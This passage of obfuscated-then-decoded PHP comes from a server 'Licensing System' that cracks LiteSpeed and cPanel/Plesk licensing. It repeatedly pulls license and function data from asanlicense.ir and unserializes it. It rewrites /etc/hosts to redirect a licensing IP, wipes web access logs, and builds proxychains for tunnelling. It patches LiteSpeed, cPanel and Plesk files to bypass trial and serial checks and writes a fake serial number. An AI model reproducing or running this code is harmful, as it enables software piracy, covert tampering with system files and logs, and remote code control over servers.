  357. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['cxs'] == "Active" ) {
  358. $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['cxssystem'];
  359. }
  360. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeed'] == "Active" ) {
  361. $phpshield_obfuscated_fe47b887e5e54199967227aa42fbf8ff = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litelatest'];
  362. $phpshield_obfuscated_04025cacd5963f4b9f34eb4e5411bbfb = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litebuild'];
  363. $phpshield_obfuscated_e6cb178e56edbf0d06af76793560b02b = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['liteversion_list'];
  364. }
  365. if ( $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blictime > 14400 or !is_array( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f ) ) {
  366. $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f = unserialize( private_cyberlicsys( 'http://asanlicense.ir/license.php' ) );
  367. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['cxs'] == "Active" ) {
  368. $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe = unserialize( private_cyberlicsys( 'http://asanlicense.ir/cxs/getfunction.php?ip=' . $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2 ) );
  369. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['cxssystem'] = $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe;
  370. }
  371. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeed'] == "Active" ) {
  372. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litelatest'] = private_cyberlicsys( 'http://asanlicense.ir/litespeed/latest.php' );
  373. $phpshield_obfuscated_fe47b887e5e54199967227aa42fbf8ff = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litelatest'];
  374. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litebuild'] = private_cyberlicsys( 'http://asanlicense.ir/litespeed/build.php' );
  375. $phpshield_obfuscated_04025cacd5963f4b9f34eb4e5411bbfb = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litebuild'];
  376. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['liteversion_list'] = private_cyberlicsys( 'http://asanlicense.ir/litespeed/version_list.php' );
  377. $phpshield_obfuscated_e6cb178e56edbf0d06af76793560b02b = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['liteversion_list'];
  378. }
  379. $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98 = unserialize( private_cyberlicsys( 'http://asanlicense.ir/zorro.php?v4' ) );
  380. $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2 = private_cyberlicsys( 'http://asanlicense.ir/myip.php' );
  381. }
  382. } else {
  383. $phpshield_obfuscated_b14c5d95245320798e3651e0653b4ff9alkey = false;
  384. $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f = unserialize( private_cyberlicsys( 'http://asanlicense.ir/license.php' ) );
  385. $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2 = private_cyberlicsys( 'http://asanlicense.ir/myip.php' );
  386. $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98 = unserialize( private_cyberlicsys( 'http://asanlicense.ir/zorro.php?v4' ) );
  387. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['time'] = time();
  388. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['activelicenses'] = $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f;
  389. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['ip'] = $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2;
  390. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['zorro'] = $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98;
  391. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['cxs'] == "Active" ) {
  392. $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe = unserialize( private_cyberlicsys( 'http://asanlicense.ir/cxs/getfunction.php?ip=' . $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2 ) );
  393. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['cxssystem'] = $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe;
  394. }
  395. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeed'] == "Active" ) {
  396. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litelatest'] = private_cyberlicsys( 'http://asanlicense.ir/litespeed/latest.php' );
  397. $phpshield_obfuscated_fe47b887e5e54199967227aa42fbf8ff = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litelatest'];
  398. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litebuild'] = private_cyberlicsys( 'http://asanlicense.ir/litespeed/build.php' );
  399. $phpshield_obfuscated_04025cacd5963f4b9f34eb4e5411bbfb = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['litebuild'];
  400. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['liteversion_list'] = private_cyberlicsys( 'http://asanlicense.ir/litespeed/version_list.php' );
  401. $phpshield_obfuscated_e6cb178e56edbf0d06af76793560b02b = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['liteversion_list'];
  402. }
  403. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/log/data', phpshield_obfuscated_8df65f4fb98d204b911c10a6e10821ce( serialize( $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic ) ) );
  404. }
  405. $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1 = $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2;
  406. if ( !isset( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['Cyberlic'] ) ) {
  407. phpshield_obfuscated_uarsEwg2qUpqxo( 'clear' );
  408. phpshield_obfuscated_uarsEwg2qUpqxo( 'clear' );
  409. echo "\033[1;32m" . str_pad( ' Licensing System ', 71, "-", STR_PAD_BOTH ) . " \033[0m\n";
  410. echo "\033[1;31m \n " . str_pad( ' Can\'t Connecting to Licensing Server ', 71, " ", STR_PAD_BOTH ) . " \n";
  411. echo "\033[1;32m \n " . str_pad( $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, 71, "-", STR_PAD_BOTH ) . " \n";
  412. die( "\033[0m\n" );
  413. }
  414. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeed'] == "Active" ) {
  415. if ( empty( $phpshield_obfuscated_fe47b887e5e54199967227aa42fbf8ff ) ) {
  416. $phpshield_obfuscated_fe47b887e5e54199967227aa42fbf8ff = private_cyberlicsys( 'http://asanlicense.ir/litespeed/latest.php' );
  417. }
  418. if ( empty( $phpshield_obfuscated_e6cb178e56edbf0d06af76793560b02b ) ) {
  419. $phpshield_obfuscated_e6cb178e56edbf0d06af76793560b02b = private_cyberlicsys( 'http://asanlicense.ir/litespeed/version_list.php' );
  420. }
  421. if ( empty( $phpshield_obfuscated_04025cacd5963f4b9f34eb4e5411bbfb ) ) {
  422. $phpshield_obfuscated_04025cacd5963f4b9f34eb4e5411bbfb = private_cyberlicsys( 'http://asanlicense.ir/litespeed/build.php' );
  423. }
  424. }
  425. if ( $argv[1] == '-zorrodisable' ) {
  426. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/disablezorro', time() );
  427. phpshield_obfuscated_uarsEwg2qUpqxo( 'ip link delete zorrofirewall' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  428. phpshield_obfuscated_uarsEwg2qUpqxo( 'service network restart' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  429. echo "\033[1;32m ------------------------------- Licensing System ----------------------\n";
  430. echo "\033[1;32m The Licensing System Zorro Firewall Has Been Disabled \n";
  431. echo "\033[1;32m -----------------------------------------------------------------------\n";
  432. echo "\033[0m\n";
  433. die( );
  434. }
  435. if ( $argv[1] == '-zorroenable' ) {
  436. phpshield_obfuscated_uarsEwg2qUpqxo( 'ip link delete zorrofirewall' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  437. phpshield_obfuscated_uarsEwg2qUpqxo( 'service network restart' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  438. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/disablezorro' );
  439. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/log/zorro', time() );
  440. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/cgls/Licensing -zorro > /usr/local/cgls/log/zorro' );
  441. echo "\033[1;32m ------------------------------- Licensing System ----------------------\n";
  442. echo "\033[1;32m The Licensing System Zorro Firewall Has Been Enabled \n";
  443. echo "\033[1;32m -----------------------------------------------------------------------\n";
  444. echo "\033[0m\n";
  445. die( );
  446. }
  447. if ( $argv[1] == '-zorro' | $argv[1] == '-zorroforce' ) {
  448. if ( file_exists( '/usr/local/cgls/disablezorro' ) ) {
  449. die( "Zorro Firewall is Disable\n" );
  450. }
  451. if ( !is_array( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98 ) | $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98['ver'] != '4' | $argv[1] == '-zorroforce' ) {
  452. $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98 = unserialize( private_cyberlicsys( 'http://asanlicense.ir/zorro.php?v4' ) );
  453. }
  454. if ( !is_array( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98 ) | empty( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98['ver'] ) ) {
  455. die( "Cant Get Zorro Firewall Information\n" );
  456. }
  457. print( "ZORROFIREWALL VERSION " . $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98['ver'] . "\n\n" );
  458. phpshield_obfuscated_uarsEwg2qUpqxo( 'ip link delete zorrofirewall' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  459. phpshield_obfuscated_uarsEwg2qUpqxo( 'service network restart' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  460. print( "ZORROFIREWALL ADDRESS ADDED\n\n" );
  461. phpshield_obfuscated_uarsEwg2qUpqxo( '/sbin/ifconfig lo:0 ' . $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98['address'] . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  462. unset( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98['ver'] );
  463. unset( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98['address'] );
  464. foreach ( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98 as $phpshield_obfuscated_b4ed8dc9a6a9098fd87f72607297830e => $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2list ) {
  465. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f[$phpshield_obfuscated_b4ed8dc9a6a9098fd87f72607297830e] == "Active" ) {
  466. print( "<-- ZORROFIREWALL " . strtoupper( $phpshield_obfuscated_b4ed8dc9a6a9098fd87f72607297830e ) . " -->\n" );
  467. foreach ( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98[$phpshield_obfuscated_b4ed8dc9a6a9098fd87f72607297830e] as $phpshield_obfuscated_b0a3336feab4a3b706b13441994e76ba => $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 ) {
  468. print( "ZORROFIREWALL $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 ADDED BY ID $phpshield_obfuscated_b0a3336feab4a3b706b13441994e76ba\n" );
  469. phpshield_obfuscated_uarsEwg2qUpqxo( '/sbin/ifconfig lo:' . $phpshield_obfuscated_b0a3336feab4a3b706b13441994e76ba . ' ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  470. }
  471. print( "<-- ZORROFIREWALL " . strtoupper( $phpshield_obfuscated_b4ed8dc9a6a9098fd87f72607297830e ) . " -->\n" );
  472. }
  473. print( "\n" );
  474. }
  475. die( );
  476. }
  477. if ( !file_exists( '/usr/local/cgls/log/zorro' ) ) {
  478. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/log/zorro', time() );
  479. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/cgls/Licensing -zorro > /usr/local/cgls/log/zorro' );
  480. }
  481. if ( $argv[1] == '-5min' ) {
  482. print( str_pad( " Five Function Started ", 30, "-", STR_PAD_BOTH ) . "\n\n" );
  483. print( str_pad( "CGLS", 30, "-", STR_PAD_BOTH ) . "\n" );
  484. if ( file_exists( '/usr/local/cgls/Version' ) ) {
  485. print( "SYSTEM -> VERSION " . phpshield_obfuscated_raqs2kg9aU1qxt( "\n", "", phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/cgls/Version' ) ) . "\n" );
  486. }
  487. if ( !file_exists( '/usr/local/cgls/lib/proxychains4' ) or !file_exists( '/usr/local/cgls/lib/libproxychains4.so' ) ) {
  488. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'mkdir /usr/local/cgls/prox/' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  489. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'cd /usr/local/cgls/prox && git clone https://github.com/rofl0r/proxychains-ng.git 2>&1 && cd proxychains-ng && ./configure && make' );
  490. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'cp /usr/local/cgls/prox/proxychains-ng/proxychains4 /usr/local/cgls/lib/proxychains4' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  491. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'cp /usr/local/cgls/prox/proxychains-ng/libproxychains4.so /usr/local/cgls/lib/libproxychains4.so' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  492. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6delete = phpshield_obfuscated_1a3se2g9451qxt( 'rm -rf /usr/local/cgls/prox/' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  493. print( "SYSTEM -> Tunel Service Fixed\n" );
  494. }
  495. if ( !file_exists( '/usr/local/cgls/lib/proxychains4' ) or !file_exists( '/usr/local/cgls/lib/libproxychains4.so' ) ) {
  496. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'yum -y install gcc' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  497. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'mkdir /usr/local/cgls/prox/' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  498. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'cd /usr/local/cgls/prox && wget -O /usr/local/cgls/prox/master.zip https://github.com/rofl0r/proxychains-ng/archive/master.zip 2>&1 && unzip master.zip && cd proxychains-ng-master && ./configure && make' );
  499. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'cp /usr/local/cgls/prox/proxychains-ng-master/proxychains4 /usr/local/cgls/lib/proxychains4' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  500. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6prox = phpshield_obfuscated_sahsekg9lU1qxt( 'cp /usr/local/cgls/prox/proxychains-ng-master/libproxychains4.so /usr/local/cgls/lib/libproxychains4.so' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  501. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6delete = phpshield_obfuscated_1a3se2g9451qxt( 'rm -rf /usr/local/cgls/prox/' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  502. print( "SYSTEM -> Tunel2 Service Fixed\n" );
  503. }
  504. if ( phpshield_obfuscated_f42317e881519ec6cba3fe393f615a92() ) {
  505. print( "SYSTEM -> VPS SERVER\n" );
  506. } else {
  507. print( "SYSTEM -> DEDICATED SERVER\n" );
  508. }
  509. @phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/var/log/php-fpm-slowlog-index.log', '' );
  510. @phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/var/log/web.access.log', '' );
  511. print( "SYSTEM -> CLEARED\n" );
  512. $phpshield_obfuscated_02c06dfcb590feba0b6e4f6b0fedc023 = @phpshield_obfuscated_r8bs14gu17f93y( '/etc/hosts' );
  513. if ( phpshield_obfuscated_r1bd1ggusnf9cs( "Safe" . $phpshield_obfuscated_02c06dfcb590feba0b6e4f6b0fedc023, '195.154.16.50' ) ) {
  514. $phpshield_obfuscated_02c06dfcb590feba0b6e4f6b0fedc023 = @phpshield_obfuscated_raqs2kg9aU1qxt( '195.154.16.50', '54.38.17.19', $phpshield_obfuscated_02c06dfcb590feba0b6e4f6b0fedc023 );
  515. @phpshield_obfuscated_r82sg4g2a7190y( '/etc/hosts', $phpshield_obfuscated_02c06dfcb590feba0b6e4f6b0fedc023 );
  516. print( "SYSTEM -> HOSTS NEW IP SET\n" );
  517. }
  518. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78eckcgls = phpshield_obfuscated_6fdddd9d490a86dee1a875e771fa4373( 'http://localhost:2025' );
  519. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78eckcgls, 'bad gateway' ) ) {
  520. phpshield_obfuscated_uarsEwg2qUpqxo( 'service cgls restart' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  521. print( "SYSTEM -> Service RESTARTED\n" );
  522. } else {
  523. print( "SYSTEM -> Service OK\n" );
  524. }
  525. $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98firewall = phpshield_obfuscated_sahsekg9lU1qxt( '/sbin/ifconfig -a' );
  526. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98firewall, 'lo:0' ) ) {
  527. print( "SYSTEM -> ZORROFIREWALL FOUND\n" );
  528. } elseif ( file_exists( '/usr/local/cgls/disablezorro' ) ) {
  529. print( "SYSTEM -> ZORROFIREWALL DISABLED\n" );
  530. } else {
  531. print( "SYSTEM -> ZORROFIREWALL TRY TO CREATE\n" );
  532. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/log/zorro', time() );
  533. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/cgls/Licensing -zorro > /usr/local/cgls/log/zorro' );
  534. }
  535. print( str_pad( "CGLS", 30, "-", STR_PAD_BOTH ) . "\n" );
  536. if ( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeed'] == "Active" ) {
  537. print( str_pad( "Litespeed", 30, "-", STR_PAD_BOTH ) . "\n" );
  538. if ( !empty( $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeedcore'] ) ) {
  539. $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8 = realpath( '/usr/local/lsws/admin/html/service/verMgrCont.php' );
  540. $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8file = phpshield_obfuscated_r8bs14gu17f93y( $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8 );
  541. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8file, "javascript:vermgr_checklic()" ) ) {
  542. $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8file = phpshield_obfuscated_raqs2kg9aU1qxt( 'javascript:vermgr_checklic()', 'javascript:location.reload()', $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8file );
  543. phpshield_obfuscated_r82sg4g2a7190y( $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8, $phpshield_obfuscated_c8e0f2987248e14b82c3872080e5a9a8file );
  544. print( "LITESPEED -> FUNCTION_ADMIN FIXED\n" );
  545. } else {
  546. print( "LITESPEED -> FUNCTION_ADMIN OK\n" );
  547. }
  548. if ( file_exists( '/usr/local/psa/admin/sbin/modules/litespeed/lsws_func' ) ) {
  549. $phpshield_obfuscated_62937a128ec339d46677c77bda91d021 = '/usr/local/psa/admin/sbin/modules/litespeed/lsws_func';
  550. } else {
  551. $phpshield_obfuscated_62937a128ec339d46677c77bda91d021 = '/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func';
  552. }
  553. $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f = phpshield_obfuscated_r8bs14gu17f93y( $phpshield_obfuscated_62937a128ec339d46677c77bda91d021 );
  554. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f, "LSWSBIN -V" ) ) {
  555. $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f = phpshield_obfuscated_raqs2kg9aU1qxt( "LSWSBIN -V", "LSWSBIN -t", $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  556. $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f = phpshield_obfuscated_raqs2kg9aU1qxt( "LSWSBIN -r", "LSWSBIN -t", $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  557. phpshield_obfuscated_r82sg4g2a7190y( $phpshield_obfuscated_62937a128ec339d46677c77bda91d021, $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  558. print( "LITESPEED -> FUNCTION FIXED\n" );
  559. } else {
  560. print( "LITESPEED -> FUNCTION OK\n" );
  561. }
  562. if ( file_exists( '/usr/local/psa/admin/plib/modules/litespeed/library/View.php' ) ) {
  563. $phpshield_obfuscated_91502c07fb688521b1b7d0894278eb36 = @phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/psa/admin/plib/modules/litespeed/library/View.php' );
  564. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_91502c07fb688521b1b7d0894278eb36, '$phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nfo[\'lictype\'] == \'trial\'' ) ) {
  565. $phpshield_obfuscated_91502c07fb688521b1b7d0894278eb36 = phpshield_obfuscated_raqs2kg9aU1qxt( '$phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nfo[\'lictype\'] == \'trial\'', '$phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nfo[\'lictype\'] == \'trial2\'', $phpshield_obfuscated_91502c07fb688521b1b7d0894278eb36 );
  566. $phpshield_obfuscated_91502c07fb688521b1b7d0894278eb36 = phpshield_obfuscated_raqs2kg9aU1qxt( '$title = \'Check against license server\';
  567. $buf .= $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5->info_panel_mesg($title, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nfo[\'output\']);', '$title = \'Check against license server\';
  568. $buf .= $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5->info_panel_mesg($title, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nfo[\'output\']);
  569. $buf = phpshield_obfuscated_raqs2kg9aU1qxt(\'trial license\',\'license\',$buf);', $phpshield_obfuscated_91502c07fb688521b1b7d0894278eb36 );
  570. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/psa/admin/plib/modules/litespeed/library/View.php', $phpshield_obfuscated_91502c07fb688521b1b7d0894278eb36 );
  571. print( "LITESPEED -> FUNCTION0 FIXED\n" );
  572. }
  573. }
  574. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f, "LSWSBIN -r" ) ) {
  575. $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f = phpshield_obfuscated_raqs2kg9aU1qxt( "LSWSBIN -r", "LSWSBIN -t", $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  576. phpshield_obfuscated_r82sg4g2a7190y( $phpshield_obfuscated_62937a128ec339d46677c77bda91d021, $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  577. print( "LITESPEED -> FUNCTION1 FIXED\n" );
  578. } else {
  579. print( "LITESPEED -> FUNCTION1 OK\n" );
  580. }
  581. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f, "/conf/serial.no" ) ) {
  582. $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f = phpshield_obfuscated_raqs2kg9aU1qxt( "/conf/serial.no", "/conf/serial2.no", $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  583. phpshield_obfuscated_r82sg4g2a7190y( $phpshield_obfuscated_62937a128ec339d46677c77bda91d021, $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  584. print( "LITESPEED -> FUNCTION2 FIXED\n" );
  585. } else {
  586. print( "LITESPEED -> FUNCTION2 OK\n" );
  587. }
  588. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f, '! -e "$LICENSE_KEY_FILE"' ) ) {
  589. $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f = phpshield_obfuscated_raqs2kg9aU1qxt( '! -e "$LICENSE_KEY_FILE"', '-e "$LICENSE_KEY_FILE"', $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  590. phpshield_obfuscated_r82sg4g2a7190y( $phpshield_obfuscated_62937a128ec339d46677c77bda91d021, $phpshield_obfuscated_40d08773e4ed9c146468cfb297f8548f );
  591. print( "LITESPEED -> FUNCTION3 FIXED\n" );
  592. } else {
  593. print( "LITESPEED -> FUNCTION3 OK\n" );
  594. }
  595. $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc = phpshield_obfuscated_r8bs14gu17f93y( '/tmp/lshttpd/.status' );
  596. $phpshield_obfuscated_3f121479e28b9f2d60deed1fbcdb5940 = between( 'LICENSE_EXPIRES: ', ', UPDATE_EXPIRES', $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  597. $phpshield_obfuscated_8b25f1484b261124028bea2082db9d66 = between( 'UPDATE_EXPIRES: ', ', SERIAL:', $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  598. $phpshield_obfuscated_128c6e298f34570b8326896e6db7d68c = between( 'SERIAL: ', ', TYPE:', $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  599. $phpshield_obfuscated_24fadf7ba6addf651c9fcfdda4a15651 = between( 'TYPE: ', "\n", $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  600. print( "LITESPEED -> LICENSE EXPIRES " . date( 'Y/m/d', $phpshield_obfuscated_3f121479e28b9f2d60deed1fbcdb5940 ) . "\n" );
  601. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc, "SERIAL: TRIAL" ) ) {
  602. $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc2 = phpshield_obfuscated_raqs2kg9aU1qxt( "SERIAL: TRIAL", "SERIAL: 8159-7373-5213-8492", $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  603. phpshield_obfuscated_r82sg4g2a7190y( '/tmp/lshttpd/.status', $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc2 );
  604. print( "LITESPEED -> SERIAL FIXED\n" );
  605. }
  606. $phpshield_obfuscated_d570477d2d1a99a45f4997bea058a6c8 = '/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php';
  607. $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 = @phpshield_obfuscated_r8bs14gu17f93y( $phpshield_obfuscated_d570477d2d1a99a45f4997bea058a6c8 );
  608. if ( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5, "/conf/serial.no" ) ) {
  609. $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 = phpshield_obfuscated_raqs2kg9aU1qxt( "/conf/serial.no", "/conf/serial2.no", $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 );
  610. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php', $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 );
  611. print( "LITESPEED -> SERIAL FILE FIXED\n" );
  612. }
  613. if ( !file_exists( "/usr/local/lsws/conf/serial2.no" ) ) {
  614. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/lsws/conf/serial2.no', '8493-7373-5213-8492' );
  615. print( "LITESPEED -> SERIAL FILE CREATED\n" );
  616. }
